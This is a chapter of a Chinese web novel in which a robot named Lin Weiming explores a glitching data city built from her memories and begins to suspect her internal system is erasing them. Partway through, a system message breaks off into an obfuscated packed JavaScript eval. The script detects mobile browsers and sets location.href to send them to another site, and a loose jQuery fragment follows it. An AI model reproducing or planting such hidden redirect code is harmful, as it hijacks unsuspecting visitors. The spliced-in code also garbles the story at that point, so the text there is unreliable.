路边的大厦歪斜着，形状扭曲的玻璃幕墙映照着没有一丝云朵遮掩的澄澈蓝天。日头很盛，下方空无一人的城市里却弥漫着淡淡的雾气。


    林薇明停在一家“小吃店”前，干净的玻璃门上现出她疑惑的眉眼。


    分明是人类售卖食物的店铺，为何里面全是写字楼内最常见的格子间办公桌？


    她观察了几秒，转头前往下一家。沿路全是同样牛头不对马嘴的情形，她走到空旷的十字路口，看向高处的红绿灯，上面的数字定格在99，红黄绿三色的灯都静默地亮着，三个圆圈像是异瞳怪物睁着的眼。


    【信息处理系统：个体当前所处的位置为晶海城，坐标与地图正在整合中。】


    来到这里的经历，林薇明全然回想不起来——她已经试着调动记忆库，回答她的是零零碎碎的数据、乱码还有“正在整合”的系统提示。


    她的数据库和这座违背常理的城市一样混乱、异常。


    似乎有件重要的事情尚未完成，林薇明想。


    但究竟是什么，她找不到答案。


    她只好沿着这座奇怪的城市街道继续探索，路过各种各样错乱的店面和住宅。走了一会，她有了个发现：


    前方的景象最初还是灰蒙蒙的一片，随着她的走近才一点点现出形状，就像……一个个像素点在画布上展开一样。


    她迈开脚步，越来越快，几乎要跑起来。


    【警告：前方内容尚未加载完毕，正在提取数据库与记忆库中的资料。】


    林薇明离那片灰白越来越近，笃定了一个事实：她在数据的世界里！


    脑中的数据提示乱码了一会，突然告诉她“加载完毕”，新的景象在她的眼前“唰”一下展开，她却震惊地在道路尽头刹住。


    平坦的大路到这里断开了，城市加载到了她的脚下。下方的情形在她的眼里一览无余：闪动着紫色光芒、乱七八糟的旧城市废墟，由完整的旧建筑群作为过渡，到了整齐划一、高楼林立的新城。


    林薇明思忖片刻，纵身向下一跃！


    再回神，她已经站在了废墟之间。


    【污染区：归尘。零素污染高风险区域，请止步。】


    “检测到闯入者，请勿进入归尘、勿进入归尘。”


    林薇明循着这道机械音找过去，声音是从一个人形金属外壳的巡逻机器身上发出的。


    巡逻机器人倒不是针对她……或者说，不针对现在的她。


    因为被挡住的人，正是曾经的她。


    “最后警告：请勿进入归尘！如持续无视，我们将逮捕你送至安管局。”


    越来越多的巡逻机器人在同伴的召唤下围了上来。


    【记忆资料整合完毕，此记录来自新纪35年9月。总结：误将官方巡逻机器人当做可交流的同类，下次进入污染区应回避。】


    原来是激活不久后的黑历史……林薇明扭头就走。


    难道要亲眼见证一次过往事件，才能将记忆库整理完毕？效率也太低了！


    她飞快地穿过街道，又在某个小巷里看到了一个自己。


    “其实我有件事一直没有告诉你。”那个林薇明正同一个女孩攀谈，语气尤为真挚，“我不是人类。”


    “你别开玩笑了，我没那么多时间听你闲扯。”女孩不耐烦地说道，“你要没别的事就回家去吧。”


    “我可以证明给你看。”


    女孩的眼里只有厌烦：“我不知道你用了什么把戏让眼睛发亮的，但我也告诉你实话，我没兴趣！我当初是出于善心帮你一把，没想到你什么都不懂，跟你待在一起很丢脸！别来找我了，行吗？精神病吧！”


    林薇明看到旧日的自己跨步到关上的房门前，忍不住上前拉住了她的卫衣帽子：“没用的。”


    话音刚落，记忆中的形象化作一串数据消散了。


    【记录来自新纪35年12月。总结：部分人类可能不会相信超仿生智能机器人的存在。】


    为了找到此行的目的，林薇明继续向前。


    她看见自己曾被一群小混混推下楼，单手悬挂在别人的窗户外，那几个混混还趴在天台边上嘻嘻哈哈。


    她有些恼火，不知是气自己以前太蠢，还是因为那群人渣愤怒。当她穿过天台向其中一人伸手，触碰的实感是有的，可这之后他们也消失不见。


    【新纪36年1月，总结：绝对不能将机器人的身份告知任何人类，不会有任何益处。】


    林薇明紧接着就看见自己在探索归尘时遭遇了前后两只高危畸变物的围攻，根本无法逃跑，左臂被畸变物踩得稀烂。畸变物围拢上来的震动和身影太过真实，她禁不住做了无用功——挡在了它们面前，发起进攻。


    她想保护过去的自己。可已经发生的事她无法改变，畸变物也化作数据从她的掌心溜走。


    她回过头，弱小的自己在黑夜的掩护下仓皇逃窜。


    林薇明低头看向完整的左臂，卷起袖子，有一道长长的修补痕迹。


    【数据缺失，暂时无法搜索相关人物。】


    她倒是在记忆里看到过冒充机械师的骗子，可没见到谁帮了她。


    在某些场景里，她也在某摆满奇怪机械产品的房间里醒来过，但身边没有任何人。


    好奇怪……她蓦然停下了脚步，为什么她看见的都是充满了无奈、苦痛和愤怒的事情？


    【信息处理系统：数据混乱仍需整理，但所见所闻皆提取自您的记忆库。】


    “是吗？”林薇明问。


    对信息处理系统提问，和自言自语有什么区别？


    它还一本正经地回复她。


    【是的。】


    她转过一个街角，加载出来的建筑物和街道标识开始与晶海城大不相同，它们连接在一起，充满了违和感。


    【已识别地点：海外城市，米斯特里奇。时间：新纪40年11月。】


    地点的转变太突然了，林薇明向系统发出指令，想看看当初是为了什么到达离晶海城那么遥远的地方。


    【搜索中。】


    大厦高处的玻璃骤然崩裂，紫黑色的庞然大物从天而降，上面趴着个人。


    它有三颗心脏。林薇明忽然想。


    巨大的怪物在街道上搞起了破坏，林薇明跟在后面，在系统的提示之下推开街边一只又一只小型的畸变物，她看到那个时间段的自己紧紧扒在怪物身上不肯松手，连个像样的武器都没有。


    实力差距那么大，跑就完事了。她疑惑，为什么非要抓住它不放？


    怪物非常突兀地轰然倒地，这个场景里还是只有自己，缓缓地从它的背上起身。


    这东西是她一个人解决的？那可真是了不起。


    她等到整合记忆资料的提示音，出发前往下一站。


    她一个人站在米斯特里奇海边的废弃游乐场里，不知道在凝望什么。


    林薇明双手抱胸，打量着过去的自己，头顶上的编发很特别，但她毫无印象。


    “我为什么要在米斯特里奇打怪，打完之后跑到这个地方发呆？这里就没有其他人吗？”


    【数据缺……您在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822103|178317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    激活的前两年已得出结论：机器人与人类并不能相融，二者本质不同，无法相处。】


    信息处理系统也很奇怪，像是个活人跟她对话一样。


    林薇明刚想提出这点，它忽地向她发出警告。


    【检测到入侵！一串由外界强行输入的数据正在进入您的数据库！可能是病毒！为了保障您的数据资源安全，建议立即清除！】


    “哦，随你吧。”她无所谓道。


    【好的，已开启清理模式。】


    米斯特里奇的地图没有加载多久，她又回到了晶海城。


    随着整合起来的信息越来越多，违和感渐渐在她的脑海中升腾起来。


    林薇明停在晶海城的街头，靠在一家标着“房产中介”内部却是快餐厅装修的店铺外，将已经得到的资料梳理了一遍。


    数据缺失。


    这四个字一直被系统提起。


    有什么东西被抹去了。


    【信息处理系统：建议您尽快持续探索，补全记忆。】


    “我知道啊。”她说，“可是我补上的记忆并不完全。”


    【总会完整的。】


    居然被内置系统安慰了，可笑。


    “林薇明——”


    她站直，转头四下查看：“有人在叫我。”


    【可能是入侵数据的干扰，正在清理。】


    她静立在原地，又听了一会，再也没有声响了。于是依照指示继续前进，但很快，她往前迈出的脚步顿了顿，忽地调转了方向。


    【建议您选择原先的道路，入侵数据尚未清除，前往其他位置可能有风险。】


    林薇明没有听从系统的警告，它又重复了一遍，她仍旧忽略。


    前面的路又断开了。


    【入侵数据拥有一定智能，目前正在下方逃窜中，请回头。】


    【正在加急清理，建议稍后再来。】


    它很着急。


    林薇明对它的表现不动声色，执着地迈向没有道路的地方。


    脚下一空，她看准了方位，准确地着陆在息壤边缘的某处废弃居民楼顶端。


    【新纪38年10月。】


    晶海城笼罩在雨中。


    记忆中的自己对有人到来是第一次有了反应。


    那个自己下意识地拉下袖子遮掩新的伤口，才转过身来。


    林薇明被那双淡漠的双眼打量着，对面的人沉默寡言，脸上全无表情。雨水打湿了她身上的深蓝色卫衣，帽子沉重地贴在她的头顶，她的发尾、衣摆全在往下滴水。


    她只是看着林薇明，不再走动。


    林薇明注意到对方的手里捏着个小本子，就藏在袖口里，待她走近，过去的自己一如既往地消失不见，可是小本子却落在了地上。


    它不是这段记忆里的东西。


    她拾起它，是一本证件。封面上写着“零素灾害特殊时期特别防护部”。


    【推测是病毒造成的数据错乱，随意触碰可能会导致进一步入侵。】


    林薇明没理会它。


    证件的内页糊了一大片血，不过血迹之下的字还看得清楚。


    【机动作战司-零号小组-中级特防官-孟燃真。】


    林薇明盯着染血的字迹发呆，她应该不认识这个人……


    系统又发话了。


    【此为病毒插入的错误数据！错误数据！】


    “你是谁？”林薇明“啪”一下合上证件，冷声道，“冒充我的信息处理系统，抽走我完整的数据，阻止我整合正确的记忆，很好玩吗？”